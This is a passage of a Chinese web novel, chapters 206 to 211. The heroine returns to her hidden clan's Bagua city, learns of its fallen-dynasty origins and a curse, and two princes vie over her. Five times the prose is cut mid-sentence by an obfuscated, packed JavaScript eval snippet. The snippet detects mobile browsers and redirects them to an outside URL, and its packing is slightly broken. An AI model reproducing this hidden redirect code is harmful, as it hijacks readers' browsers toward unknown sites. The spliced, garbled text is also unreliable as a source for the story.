“让三公子见笑了。”腾云唇角一勾,道:“斩草不除根,春风吹又生!所有对县主不利的,要么不杀,要杀就要杀干净!反正不在京中!” 在京中,律法框着呢! 凡事做过必有痕迹,只要有心人去查必定查得出真相。 即便是三皇子萧金煜想杀太子,都要做这么大的局,不敢直接在帝京下手,打算在京外结果了萧景明。 他们县主也一样,在帝京不好杀,在外面说杀就杀! “不错。”喻慕文笑了笑,道:“收拾收拾,我们继续赶路吧。” 这边腾云覆雨收拾两个尸体,喻尚武帮忙。 喻今歌去溪边洗自己的铁索,还要换衣裳。 而喻慕文则在坐在车辕上,与喻初晴谈话:“溜了一个回去。” “回去给桑怀安报讯。”喻初晴一点儿也不着急,道:“这样也好,算是给桑怀安的一个警告。” 喻慕文问:“现在这状况,你如何打算?” 第206章 我们终于回家了 “这两个本就该死的人,合该死在外面。” 喻初晴话语平淡,却无情。 她对上喻慕文的眼神,道:“三哥,我不打算在族地上待太久。外面等着我做的事,实在是太多了!” 喻慕文颔首:“你若避开这些魑魅魍魉,留在家族是最好的。但既然你不想这样做,到时候你提出要走,我会第一时间帮你说话。” “好!”喻初晴已经在思考什么时候回程了。 原以为赶在收拾完响马盗之前,她赶在萧景明之前回京就好。 可现在—— 现在是九月初,她打算回家族最多待一个月,十月初就往回赶! 喻尚武几人收拾完了后,几人重新赶路。 在天黑之后,到了与喻昔词约定好的别院。 与建京隔河相望的毗郡。 喻家设在这里的别院,就在郡城中。 进入别院后。 “你们怎么比原定的时间还慢了一些?”喻昔词不解地问。 喻尚武将大铁锤放在一旁,道:“遇上了刺杀,有人调虎离山把我骗走了,企图对晴晴下手。所以我们耽误了一点时间,幸好赶上了城门关闭之前进城了。” 一听说被刺杀,白婉蓉立即握住喻初晴的手,问:“当晴晴没事吧?” 喻初晴笑答:“没事。” 喻今歌非要插一杠:“娘,你怎么就不问我有没有事呢!” “你活蹦乱跳的,一眼就能看出来,能有什么事?”白婉蓉别了他一眼,拉着喻初晴去一旁坐下。 对于爱妻的话,喻惊鸿是一万个赞同:“再说了,你们几个小子皮实得很,即便是破点皮都没啥事儿!晴晴可不一样,她是我们娇娇宝贝金疙瘩,蹭掉头发爹都心疼!” 喻今歌:“……” 累觉不爱。 喻尚武喻慕文都很习惯了。 别说喻初晴是亲生的,以前桑雪在家里的时候,不也是疼得跟眼珠子似的么。 失而复得的女儿,只会让这对可怕的夫妻变本加厉地将宠爱都放在喻初晴身上! 喻昔词看向喻慕文,问:“是什么人派出来的刺客?” “大哥怎么不问我?”喻尚武心想:我也知道啊! 但喻昔词只是给了他一个眼神,道:“你去一旁休息吧。” 转头回来,继续等喻慕文的回答。 喻慕文便将事情简单说了一遍。 “桑怀安。”喻昔词颔首,念完这个名字,又到下一个:“萧金煜。” 他眼里浮现戾气:“萧景明,果然不行!” 明知道萧金煜在作乱,他们有过好几次暗示,让萧景明想法子对萧金煜出手,到现在都没动。 可不是萧景明不行么! “他不趁现在动,等他回京,死的可能就是他了。”喻慕文倒是淡定,把玩着手里的佛珠,又说了句:“大哥,这个暗亏,咱们就吃下了?” 与其说他这是提出问题,不如说他提出建议:这个暗亏,咱们不可能就这样吃下,该干点什么了! 喻昔词颔首:“的确应该给萧金煜一点颜色瞧瞧。” 听到他们的对话,喻初晴忽然插话:“我来吧。” 兄弟们都很吃惊地看着她,等她说出下一句。 喻初晴转头对腾云说道:“三皇子的生母,嘉贵妃这个月寿辰。暗中送点消息去给皇后,让皇后做点什么。另外,我给小喵喵写封信,八百里加急送去给她。” 腾云立即应:“是,县主!” 喻今歌不解地问:“让皇后做什么,皇后会听姐的吗?” 喻初晴唇角微微勾起:“皇后不会听我的,但送消息的人不是我,皇后也许就听了呢?” “哦。”喻今歌眸光一亮:“姐还有其他人脉!” 本以为,写信给萧淼淼,让萧淼淼想办法送消息给皇后。 孰料,她竟然是分开的! 给萧淼淼的信,说的是其他事。 而给皇后上眼药的,还有其他人! 喻慕文忍不住笑了笑:“晴晴这能耐,若是留在家族,也是太可惜了。” 她的长材,理应有一个广阔的戏台! 喻初晴并不得意,唇角微微抿起,眸光少见地闪过狠戾。 当晚在别院留宿,次日城门刚开他们便出了城。 继续往南。 但,也已经不远了。 九月初九日,他们途径郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769216|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城过门而不入,穿过一片荒野进入山林。 山林里是稀稀落落的山民住户,一个比较偏僻的村子。 然—— 当车队在林子里七拐八拐后,前方的路竟然越走越宽阔。 林间小路,变成了康庄大道。 这山里,竟然有一大片平地,入口在半山腰上。 喻初晴环顾四周,认出来这是一个盆地。 居高临下看下去,她难得露出震惊的表情! 这阵法,比临夏山庄的更精妙! 但,这不是她吃惊的点。 她惊诧的是—— “八卦城?” 现代其实也有八卦城,挺出名的,整个城市的所有房屋呈八卦形状散开。 而他们这喻氏族地的八卦图,显得更玄妙:所有的房屋都好像在跑! 一晃眼,原来那座房屋好像就不在原来的位置,而是跟着八卦转动! 譬如,原来在乾位的,眨一眨眼,就转到坤位去了。 “是的。”喻昔词应道:“咱们喻氏族地,便是根据周易八卦建造的。说是喻氏族地,实际上住着八大家族。其他七大家族以喻氏为圆心,好比七星伴月。八大家族分别住在八卦的八个方位!” 喻今歌指着面前好像在不断变动的场景,问:“房子会跑,是怎么回事?” 同样没见识过这场景的喻慕文,勾唇笑道:“不是风在动,而是你的心在动!” 他问:“大哥,是这意思吧?” “是的。”喻昔词笑答:“这只是阵法形成的幻境罢了。实际上,房屋都在八卦阵位上,怎么也不可能跑动的。” 喻尚武瞪大眼睛道:“我怎么感觉,住在里面会迷路?” “迷不了路。”喻昔词解释道:“每一个阵位都有标记,八大家族都有自己的徽章与旗帜。” 喻初晴:“!!!” 太高大上了! 比她想象的要更厉害! 喻惊鸿夫妇这边的气氛,显然跟兄妹几人的不同。 将近二十年,回到了故乡。 二人眼眶都是红的,尤其是白婉蓉,已经忍不住掉眼泪了:“相公,都快二十年了,我们终于回家了!” 第207章 不纠结,才是新生 回家。 对他们来说,这里才是他们的家! 喻惊鸿搂着她,感慨不已地道:“那首诗叫什么来着?” “少小离家老大回,乡音未改鬓毛衰。”喻初晴默念了这诗句,瞬间便能跟爹娘共情了。 她上前,一只手拉住喻惊鸿的手,另一只手拉住白婉蓉的,道:“爹、娘,都是因为我,你们现在才能回家!” “不。”喻惊鸿坚决不认可她的说法:“是爹的问题,没能保护好你,让你被人偷了去!” 喻昔词上前,居中调停:“好啦。现在说这些已经没有什么意义,重要的是,晴晴找到了,爹娘也回家了。” 他走在前面,引领一家人,道:“回去吧。” 即便在隐世家族,也地位高低只差。这座八卦城,越是住在圆心的,越是地位高。 “圆心是祭祀宗庙。”喻昔词骑着马在喻初晴的马车旁,给她讲述:“咱们就住在乾位,喻氏这一卦中,距离宗庙最头的那块。” “宗庙?”喻初晴立即抓住了重点。 普通百姓的庙,叫做祠堂; 官宦贵族的庙,是为家庙; 皇室诸侯的庙,才能称为宗庙、或者太庙! 天子七庙,诸侯五庙,供奉六世族以下历代先人。 宗庙一般建立在君王宫殿的左侧,与宫殿右侧的社稷相对。 其中,社稷象征土地,宗庙象征血缘,二者构成国家的象征。 这八卦城没有君王宫殿,便把宗庙建立在八卦圆心的位置。 对上喻初晴审视的眼神,喻昔词笑了笑,道:“晴晴这么聪明,想来应该估了个**不离十。” 喻初晴但笑不语。 喻今歌还是一头雾水:“不是……你们在说什么呢?跟才哑谜似的!我姐聪明,我可没有她的脑袋瓜子!” “先去拜见祖父。”喻昔词看了他一眼,道:“一会儿见了祖父,让祖父给你们说家里的祖制。” 喻今歌张了张嘴,看向喻初晴。 喻初晴拍拍他的手,道:“宗庙,只有皇家才有资格这么叫。你懂了吗?” “不懂。”喻今歌觉得:我看书还是太少了! “傻蛋。”喻慕文骑着马在另一边,道:“你就没想过,为何我们喻家不与萧家通婚?为何是世仇!” 电光火石之间,喻今歌好像突然懂了:“我们家……” 他瞪大眼睛:“不会是前朝皇族吧?” 喻昔词感慨地道:“前朝覆灭已过百年,已经更迭了五代人,不存在皇族了。咱们虽然不想与夺走自家江山的萧氏有瓜葛,但也没有复国的野心。偏安一隅,将自家传承一代一代传下去,便罢了。” 喻初晴颔首:“不纠结,才是新生。” 灭国初期,如有复国实力,还可以试一试。 可这都过去五代了,还纠结于复国,那就是搞笑了! 喻尚武骑着马在喻昔词后方,更感兴趣的是:“那咱们家,有军队吗?” “没有军队。”喻昔词答道:“但有自卫队。八大家族每个家族培养一千人自卫队。另外,各家都出二百精锐,守宗庙。加一起都不到一万,还没有响马盗人多。” 喻初晴问:“八大家族如今共计多少人?” 喻昔词:“不多,也就四万多人。” 问题很多,根本问不过来。 喻初晴也就没想再问了。 他们一行人进入八卦城,走上乾道。 这座城池虽然占地面积不算很大,但房屋构造非常漂亮,绿化也做得非常好。 用现代的话来说:强迫症患者极其舒适系列! 一路上的行人看见他们的车队经过,都会立即朝两旁避让。 见到喻昔词的人,都会恭敬向他行礼。 但,开口说话却都是很是亲切: “大公子回来了!” “咦,这两位是二公子、三公子么?” “大公子!听说找到大小姐了,这次是不是把大小姐带回来了啊!” “马车上,是不是就是大小姐了?” 喻昔词对于这个问题,给了肯定的答复,面带笑意,道:“是的,我们家晴晴回来了!” 一众欢呼声响起。 “真的!太好了!” “我们喻家也终于是有姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769217|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了!” “大小姐什么时候才能见我们!” “大小姐回来认祖归宗,是要祭宗庙的,到时候她肯定要巡城,我们是不是就能见着了?” “大公子,明日我能去主家拜访吗?” 喻初晴从来不觉得自己是个社恐,愣是被这响破天际的热烈欢迎给弄尴尬了! “姐……”喻今歌瞪大眼睛看着她,道:“原先我老觉得爹娘偏心你,现在我好像明白了……比起他们来说,爹娘对女儿的偏心,简直是小巫见大巫!” 喻初晴也不明白:“不知为何?” 即便是五代单传的姑娘,也不至于如此吧? 整个家族都这么振奋? 她有这样金贵么? “不知道。”喻今歌被带动了情绪,也很兴奋:“但我有种感觉,他们用一种迎接公主的心情来迎接你!大概,是几代单传的公主,特别珍贵?” 喻初晴:“……” 她也是好起来了,都有公主待遇了! 很快全程都轰动了,很多想要一睹“公主”真容的。 但喻昔词一直带着他们回了乾道东尽头的喻氏大宅。 大门外插着旗杆,这一路上喻初晴从马车的缝隙大概瞧过,乾位家家户户门外都有旗帜。 但,其他旗都是黄色的,而他们主支的大宅外面这杆旗帜,是黑底刺绣。 上面的“喻”字,与旗帜的缘边,用的是都是纯金绣线! 知晓他们回来了,大宅门外站着一群人,虽说有男人也有女人,但还是以男人居多。 阳盛阴衰的局面。 喻初晴坐在车上没动。 前一辆马车,喻惊鸿先下马车,回头牵白婉蓉。 二人走到众人面前,行了一个大礼,然后跪下、磕头。 喻惊鸿道:“父亲,有罪的儿子,回家了!” “先起来。”站在门口最前方的老者,看了他们一眼,便转头看向喻初晴这辆马车。 他殷切地往前走了一步,道:“初晴在马车上?” 红地毯铺开,没有迎接喻惊鸿夫妇回归,而是直接延伸到了喻初晴这辆马车前。 第208章 四世同堂 “是的,祖父。”喻昔词鞠了一躬,将马交给了随侍,便要上前去扶喻初晴。 谁知,老爷子一把将他推开:“你走开,让老夫来!” 老爷子挂上和煦的笑容,走到马车前。 喻昔词赶忙过去,给他撩开车帘。 “初晴?我是祖父!来,祖父扶你!” 喻初晴:“……” 对喻惊鸿夫妇不冷不热的老爷子,大声吼得意继承人的老者,堆着满脸笑,用夹子音跟她说话? 狼外婆即视感! 但她没有拿乔,温和一笑,将手伸了出去。 老爷子托着她的手腕,她便着力在老爷子的手上,踩着屋子下了马车。 一众等着看喻家五代单传的大小姐的人,终于看到了她的真容! 当然,喻家的基因很好,那几个小子都长得很不错,可大小姐有一种独一无二的美。 看似温婉,却大气端庄。 即便面对如此一群热烈的目光,她也没有半点怯场,沉稳自若、淡定如斯! 喻初晴下来后,敛了裙摆,双手交叠,朝老爷子躬身作揖:“喻氏初晴,初见祖父,给祖父问安!” 老爷子笑得见牙不见眼,上前双手将她的双手捧起来,道:“盼星星盼月亮,可把我们初晴给盼回来了!” 说着就捉住她的手腕,拉着她要进门:“走走走,跟祖父回家!” “等等。”喻初晴没有着急,回身朝蹲在马车门口有些怯生生的喻今歌招手:“小弟快下来。” 有一说一,这群人过分了! 看重她,她很高兴。 但也不能完全把男孩子给忽视掉啊! 她家围裙保姆弟弟,可是超级好的。 喻今歌可不要太感激:“姐!” 老爷子这才想到还有个孙子也是在外面生的,没有回过家! 他转头看去。 喻今歌从车辕上跳了下来,站在喻初晴身旁,朝老爷子抱拳行礼:“今歌拜见祖父,问祖父安!” “很好。”老爷子看他也挺满意的,捋着胡子笑眯眯地道:“走吧,先进屋,大家再认认人!” 看,给喻初晴说的是“我们回家”,给喻今歌说的是“先进屋”。 没有对比就没有伤害! 但,一家人对喻初晴的态度,喻今歌是早就知道的,倒是没有半点不满。 老爷子亲自牵着喻初晴的手,迈进了喻家主支大宅的门槛。 偌大的厅堂,主支的人鱼贯而入,各有各的位置。 “初晴就坐祖父身边!”老爷子直接拉着喻初晴走到上座。 喻家的座次,有着明显的分野。 厅堂上方,跟金銮殿似的,有一层一层的参差。 老爷子叫做喻修,不但是喻家的家主,还是八大家族的领袖。 喻家到他这一代,就只剩下他自己了。 他坐在最上端的主位,而他选的继承人喻昔词跟他在同一层,左侧。 喻初晴被他拉到了右侧的位置上。 “快,你坐这儿!” 她与喻昔词平起平坐了已经,一左一右在老爷子的身边。 他们所在的下面一层,则是喻惊鸿夫妇、喻惊鸿的兄弟、堂兄弟和他们的妻子。 再下一层,就是喻尚武喻慕文这些小辈。 最下方的是喻修的曾孙辈。 四世同堂。 喻昔词虽然是继承人,但他并非喻修的长子长孙。并且喻昔词年二十三至今尚未婚配,他的堂兄弟早就成婚生子,因此第四层有好多小不点。 喻初晴还是头一次见识这样的大家族,感觉很新鲜。 见自己的哥哥弟弟都在下方坐着,自己却一跃而上,她低声问喻昔词:“我坐在这里,会不会不太好?” “有什么不好的?”喻修听到了,横眉竖眼地道:“你问问他们,谁有意见?” 喻初晴一眼看去。 还真是,不但没有人有意见,反而还个个都是满脸笑容地看着她。 在她看来,这简直是超脱人性的! 所有人都落座了,喻修做开场白:“天可怜见,我喻氏五代不见一个女娃,终于还是迎来了这头一个!喻氏初晴,乃我喻氏的**!” 喻初晴:“……” 夸张了喂! 紧接着,喻修又道:“惊鸿媳妇儿,你可是最大功臣!老夫给你准备了奖赏,都在你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778590|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的院子里,一会儿你回去自己看!” 白婉蓉站起行礼:“谢公爹!” 也是母凭女贵了。 接下来,便是认人阶段。 并非老爷子带着喻初晴一个个去认,而是所有人,从辈分高低、年龄大小开始,逐一上前,一个个见礼。 不但认人,还有礼品。 喻家主支四代人,包括娶进家门的媳妇,一共有一百三十多号人。 不得不说,真的很能生! 很可能,也是为了生女儿,疯狂生! 喻初晴好不容易将长辈记住了,同辈与小辈,根本记不住几人。 光认人,就人到了天黑。 她都要被礼物堆淹没了! 老爷子很高兴,对她说:“你也不用着急,这不刚回家了吗?这一路旅途劳顿的,你且先去歇息。祖父已经看好日子了,九月十六日是最适合的日子,到时候我们去祭拜宗庙。让八大族的族老们共同见证,将你的名字登上族谱!” 喻初晴松了一口气:“好,全凭祖父安排。” “昔词,你送初晴去她的院子!”喻修回头吩咐喻昔词。 喻昔词颔首:“是,祖父。” 他转头,对喻初晴说道:“晴晴,你就住我隔壁的院子,另一边就是他们几个。一起过去吧!” 她便与四个兄弟一同走。 “这一弄,把你给累着了。”喻昔词边走边道:“我给你提个醒儿,这是才刚开始。到祭拜宗庙这段时间,肯定每天都会有人上门想要拜访你的。你看心情,想见就见,不想见就不用管。” 喻初晴长袖善舞,倒不胆怯,但她看了一眼跟着后方的喻尚武喻慕文喻今歌,疑惑地道:“几代单传,我知晓大家都会重视我,但……这是不是太夸张了?” 所有人的态度,都这样,真的超脱人性了,可不夸张么? “你若知道祖上的事,便能知晓,这一点也不夸张。”喻昔词的面容十分冷峻,道:“那自然是有原因的!” 喻初晴不解地问:“什么原因?” 后面的三兄弟,也都竖起了耳朵。 只见喻昔词说道:“因为所有人都认为,喻氏是遭遇了诅咒!” 第209章 哪怕是事实,也当是南柯一梦 喻初晴一震:“诅咒?什么意思!” “唉……”喻昔词未语先叹,道:“这得从百年前我朝灭国开始说起。” 他领着喻初晴等人,进了一座江南风格浓重、精致无比的院子。 这院子广阔到什么程度? 给家族独女居住的,是一座三进的院子! 在帝京,一般王侯府邸的前院、主院,也不过如此规格。 喻昔词领着他们往里面走,边走边道:“当初灭国,我朝最后一代帝王提前安排了族人,暗中退出帝京。但他自己没有。以萧家为首的反贼,破了京城大门,举着燕字旗一路杀进皇宫,他坐在金銮殿的龙椅上,喝下了鹤顶红。” “君王死社稷!”喻初晴只能想到这一句:“失国,却没有失去气节。” 喻昔词颔首,神情有些沉重,继续道:“在那之前,他已经将传国玉玺交给了他嫡亲弟弟——也就是我们这一脉高祖。” “在叛军攻进宫门的时候,那位高祖皇帝将所有后妃、皇子女全部集中在一起。下令全杀!” “他那一脉,尽数殉国!” “为了不让**公主受辱,他手执天子剑,亲手杀了自己的所有女儿!” “其中,他的长女在临死前诉说恨意,她想逃、为何不让她跟我们的高祖一起逃亡?” “但她没有得到答案,就被高祖皇帝一剑刺进心口。她心有不甘,临死前诅咒:喻氏即便能千秋万代,也再也不能生一女!” 这话一出,喻初晴震惊无比。 喻今歌不解:“她学过巫术么?这诅咒也能成功?” “五代以前的事,学没有学过巫术,如今已经不可考。”喻昔词说道:“事实便是……” “我们的高祖带着传国玉玺、领着八大家族一路南行,越往南,剩下的人越少。到了此地安顿下来之时,仅剩二百余人。” “他们在此搭建房屋、形成村落。布置阵法,将此地隐藏起来。” “因为人少,故而也有在外面找人通婚,经过三代人的发展壮大。人数才终于破万。” “但,八大家族中,只有喻氏五代以来,无论主支还是旁支,一个女儿都出!” 不管是不是真的巫蛊之术,事实就是没生女儿。 喻初晴忍不住想到一件事:如果没有自己穿越,原主其实也已经**。 换而言之:他们这一代,依然没有女儿! 难道,命运之神送她穿越,为的就是让她给喻家破除诅咒? 想多了,不管是不是,她过好自己的日子就行。 “我算是知道,为何都把姐看得这么重要了!”喻今歌听完故事,点了点头,道:“的确应该重视!” 喻尚武却是问:“晴晴是姑娘没错,可家族不一样没有别的女娃儿?” “是。”喻昔词点头:“堂兄弟们成婚的不少,先前你们也看到了,我们的侄辈已经有了七个娃儿,全是男孩!” 喻慕文观察仔细:“听说,有位堂嫂待产,即将临盆。大夫看过吗?是男是女?” “诡异之处便在此。”喻昔词是回答三弟的问题,却看向喻初晴:“她即将生产,可整个八卦城内所有大夫都看过了,都分辨不出是儿子还是女儿。” 喻初晴挑眉:“大哥的意思,是让我去看看?” “不用。”喻昔词摇头:“你只管休息好,等祭祀宗庙结束后,再说。” “好。”喻初晴点点头。 喻昔词又道:“你的院子出去左手边,便是我住的。右边给今歌住,方便他跟你学医。尚武慕文住我左手边。” 他看向其他几个弟弟:“你们先小憩片刻,一会儿晚宴还在正厅。” 兄弟们各自去休息,喻初晴洗漱了一通,躺在床上。 “县主在家族里的待遇,可真是……”合欢感慨得很:“崇高!” 木棉在将衣裳放进衣橱内,闻言也道:“对呀,难以想象,我们县主其实是前朝公主呢!我就说,县主比那什么建安公主还要显得尊贵,原来是骨子里淌着公主的血!” 并且,还是最珍贵的公主! “别乱说话。”喻初晴抬起手臂压在自己的额头,闭目养神,说道:“在这里别喊县主,出去后也别再说这里的事。” 哪怕是事实,也当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778591|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是南柯一梦。 八大家族都没有要复国的野心,这是好事。 她就怕他们铁了心,要把大燕朝灭了,恢复大夏王朝。 先不说兵戈四起,黎民遭殃。 她自己,绝对是首当其冲! “是!”合欢木棉都应了。 木棉道:“大小姐先小睡片刻,婢子去外面候着。” 喻初晴道:“不用,你俩一人去小榻歇息,一人去房里睡会儿。这一路也是累着了。” 合欢笑道:“哪儿就累了呀,先前主子去了大营,那么多天,我们俩都没什么事做。” “听话。”喻初晴不多劝,就俩字。 合欢木棉便老实了。 晚宴,算是接风洗尘。 还是喻家主支这一些人,比起傍晚的认亲会,要相对轻松一些。 想来跟喻初晴深入了解的,都主动前来敬酒。 酒自然是被老爷子全都给挡了回去:“说话就说话,一家人你们整什么灌酒这套?都学坏了,是吧!” 气氛还是很好的。 但,老爷子又来了依旧:“喏,认祖归宗的又不仅仅是初晴一人,你看看他们几个小子,找他们喝去!” 尚武、慕文、今歌:“……” 跟姑娘就是一家人不整敬酒这套,那他们这些小子就不是一家人了? 但,家主发话,谁敢有意见啊? 众人酒过三巡,喻初晴独醒。 喻修小声与她谈话:“初晴,听昔词信中说,你会医术?” “会一点。”喻初晴说得很保守。 喻修问:“诊脉能看得出男女不?你有位堂嫂即将临盆,邪门得很,就是她这一胎,诊不出来!” 须知,喻家无论主支还是旁支,只要有人怀上了,整个家族都会盯着这一胎。 早早就会安排大夫,**。 就盼着能爬出个闺女来! 可惜,所有人都魔怔了,每次迎来的都是失望。 作为家主,喻修操碎了心。 尤其是—— 自己的大儿子终于生了个女儿,竟然弄丢了! 第210章 回旋镖,虽迟但到 为此,喻修一怒之下,下令:找不到女儿,你们也别回来了! 喻惊鸿夫妇心中有愧,还真不敢回家。 “顺其自然吧,祖父。” 喻初晴没打算去帮看诊。 可能这是族里的大事,但对她来说,即将临盆了还去诊脉看性别,毫无意义。 见她这么说,喻修颔首:“好嘞,听你的!” 喻初晴冲他温温一笑,道:“祖父,我会医术的事是秘密,在帝京如此,希望在族里,也是秘密。” “……”喻修盯着她看了一会儿,点了点头:“好,这是你的事,当然是你自己做主。” 喻家的家主,不会是傻白甜。 像喻昔词一样,十二岁回来给了他几百两银子,就赶出了家门,让他挣到多少钱才能回来。 摸爬滚打,能回来的,都是江湖经验。 说来说去还是喻家的儿子不值钱,说句不好听的,扔出去历练的孩子如果死在了外面,可能会痛心,但他们都会坦然接受这个结果。 家主选定的继承人,早早就要出去历练了。 而其他的男孩子,要么跟继承人一起,成为新一届家主班底;要么就在成年后自己出去闯荡。 成年后离开族地出去的,要安全许多。 在这等严苛的家规下,喻修当然不是个困守在族地里、不见天日的傻白甜。 他一眼看穿:他这珍贵的**孙女,看起来乖巧软绵,实际上城府极深,堪与他一手栽培的继承人喻昔词相媲美! 原本喻昔词信中说妹妹很厉害,他还不信。 这才刚回来相认,就见识到了! 所以,他对喻初晴自然也不会做任何强求。 喻初晴这边,见到了一方奇妙的天地,而淮明郡这边。 萧景明的伤不好养,相对来说他的身子还是比较虚弱的。 但,攻打长丰郡,却刻不容缓。 因此,他不得不暂时把大权交给了萧风岚。 萧风岚腿伤虽然也没好,但他不上战场,不影响指挥。 长丰郡有山峦作为天险,易守难攻。 但经过夏河一役,常家军损失惨重,若非靠这天险,被乘胜追击简直是太容易了。 “现在的问题就是,卡在这道峡谷上。” 太子营帐,萧风岚与他商讨目前的进攻方略。 “昨日一战,没能拿下峡谷,反而损失了一队先锋。太子,你如何看?” 萧景明瞧了他一眼,道:“在商议这件事之前,孤有话想问皇太叔。” “什么?”萧风岚一如既往的不着调。 比起前胸负伤却依然坐姿笔挺、仪态端正的萧景明,他简直就是个浪荡子。 坐椅子上,身子朝旁边一歪,受伤的那条腿结痂了,倒是没动。但另一只脚,就踩在板桌边缘。 一边说话,还一边极不雅观地打呵欠。 “皇太叔与初晴,到底是从什么时候开始熟识的?”萧景明看着他,倒也习惯了,撇开头不去看就完了。 萧风岚挑眉,笑嘻嘻地道:“那不是从小就认得的么?” 这话,萧景明不是不信,而是—— “皇太叔,若孤没有记错,在这一次之前,从未曾见您与初晴有任何交集。” 这点没错。 在那一夜被喻初晴看上之前,萧风岚与喻初晴之间,仅限于知晓有这个人。 见了面,就是南阳侯府嫡女给逍王拜礼,客气两句,便分道而行。 之后他俩在一起以后,对外依然是原来的样子,因此根本无人知晓他俩好上了。 但,这些事不可能告诉萧景明。 萧风岚笑得玩世不恭:“其实现在也交集不深吧?非要说熟识,便是前几日她给本王治伤!” “但她要带着两个哥哥,亲自去淮明郡接你。”萧景明便是因为这一点产生了联想。 经过推敲,得出结论:“初晴其实并不是一个古道热肠的人,她会去接皇太叔,一定是因为跟你关系很好!” 萧风岚不疾不徐地反问:“那当初她救了太子的命,也是因为她与太子关系很好咯?” 萧景明气息一窒。 他怎么说? 原先对喻初晴这个人不算太了解,但这一次他受伤后,喻初晴人在大营中,明明医术很强,却并没有第一时间来给他救治,而是需要他的人去请她才肯来。 来了后的种种行迹…… 足以表明:她当初救他,也许是顺手而为,刚好遇上了,不救他他就会死。 但—— 假设,喻初晴一开始便是权衡利弊,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781527|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面的很多事串在一起,就很好理解了! 他说不出话来,萧风岚立即踩中了这一点,又说下去:“太子你在想什么?本王知晓,你对喻初晴情有独钟,想让她给你做太子妃。但她好像没有这方面的野心啊!” 萧景明的脸色,更加难看起来。 他放弃了拐弯抹角的试探,直截了当地问:“那么,皇太叔可以直言不讳地告诉孤,为何她会亲自去接应你么?” 萧风岚就想绕过这个话题不谈,结果又被萧景明拐回来了。 他不高兴了,皮笑肉不笑地道:“或许,是因为她想卖个人情给本王?” 萧景明简直是油盐不进,又问:“当初永安县主府乔迁喜宴,皇太叔去道贺。从前你可不会做这样的事、不会给任何人面子。难道便是从那时候开始产生的交情?” 萧风岚心道:不,在那一年之前,我俩就交了!但为什么要告诉你呢? 他很想公开自己与喻初晴的关系,但他得尊重喻初晴的想法。 想了想,他干脆承认了:“不错,就是在国子监碰巧遇见,本王觉得从前的喻初晴,失去了侯府嫡女的身份后,反而更靓丽了。于是乎,本王对她一见钟情,成为了她的爱慕者以及追求者!故而乔迁宴去道贺,也是为了拉近与她的关系。” 一口气说了这么多,真真假假。 他摊手,问:“太子,是你说的,窈窕淑女君子好逑,有什么问题么?” 真诚是永远的必杀技! 回旋镖,虽迟但到! 萧景明再次噎住。 还真没有! 他总不能说:你明知道孤喜欢她,为何要横插一杠? 这话站不住脚。 萧风岚完全可以回答:你喜欢她,她又不喜欢你,为何别人不能追求? 更何况,萧风岚是长辈、还长了两辈! 萧风岚也失去了跟他谈论军情的兴趣,站了起来,道:“太子,婚姻大事,讲究你情我愿。” “在她没有嫁人之前,所有男人都有机会。情场如战场,你我各凭本事,当太叔的,也不能让着你。” “毕竟,本王也在适婚年龄,好不容易看上了心里欢喜的。” 他还拍了拍萧景明的肩膀,道:“你放心,你娶不到的人,本王会替你收了她!” 第211章 晴晴在意 萧风岚走了。 后面那一句,简直是拿着尖刀往萧景明心窝上戳! 